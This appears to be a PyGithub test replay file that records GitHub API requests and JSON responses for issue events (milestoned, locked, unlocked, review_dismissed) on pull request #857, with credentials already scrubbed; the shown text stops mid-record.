{"id":1783596418,"node_id":"MDE1Ok1pbGVzdG9uZWRFdmVudDE3ODM1OTY0MTg=","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1783596418","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"milestoned","commit_id":null,"commit_url":null,"created_at":"2018-08-11T00:46:19Z","milestone":{"title":"Version 1.25.0"},"issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1783596452 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cc5dad25645581397f99c5f3a6c61e4b856a880bce3f68ab547cceea21e5aab2"'), ('Last-Modified', 'Fri, 03 Jan 2025 12:21:24 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4976'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '24'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B8C8:4DB83:214C99FB:2230DF9B:677847C8')] {"id":1783596452,"node_id":"MDE3OkRlbWlsZXN0b25lZEV2ZW50MTc4MzU5NjQ1Mg==","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1783596452","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"demilestoned","commit_id":null,"commit_url":null,"created_at":"2018-08-11T00:46:22Z","milestone":{"title":"Version 1.25.0"},"issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1783596743 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f5691eabf53dda490287e0d4dfdf7a35913d9a1edde0ec720bc3f4f3dec536cc"'), ('Last-Modified', 'Fri, 03 Jan 2025 12:21:24 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4975'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '25'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B8D4:47716:247AD5DB:255F1A9F:677847C8')] {"id":1783596743,"node_id":"MDExOkxvY2tlZEV2ZW50MTc4MzU5Njc0Mw==","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1783596743","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"locked","commit_id":null,"commit_url":null,"created_at":"2018-08-11T00:46:56Z","lock_reason":"too heated","issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1783596818 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4c25911128355007be2a2fd2f10dd96ea418717b488e314f878df561df15e4a2"'), ('Last-Modified', 'Fri, 03 Jan 2025 12:21:24 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '26'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B8DA:4D2C4:233628AB:241A70A8:677847C9')] {"id":1783596818,"node_id":"MDEzOlVubG9ja2VkRXZlbnQxNzgzNTk2ODE4","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1783596818","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"unlocked","commit_id":null,"commit_url":null,"created_at":"2018-08-11T00:47:07Z","issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1783605084 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e7fb989c1c81f2c9efcc2848a60c0ec0ccffcc0007aa715ee17fd0a63722963b"'), ('Last-Modified', 'Fri, 03 Jan 2025 12:21:24 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '27'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B8E6:47716:247AD782:255F1C59:677847C9')] {"id":1783605084,"node_id":"MDIwOlJldmlld0Rpc21pc3NlZEV2ZW50MTc4MzYwNTA4NA==","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1783605084","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"review_dismissed","commit_id":null,"commit_url":null,"created_at":"2018-08-11T01:07:10Z","dismissed_review":{"state":"changes_requested","review_id":145431295,"dismissal_message":"dismiss"},"issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milesto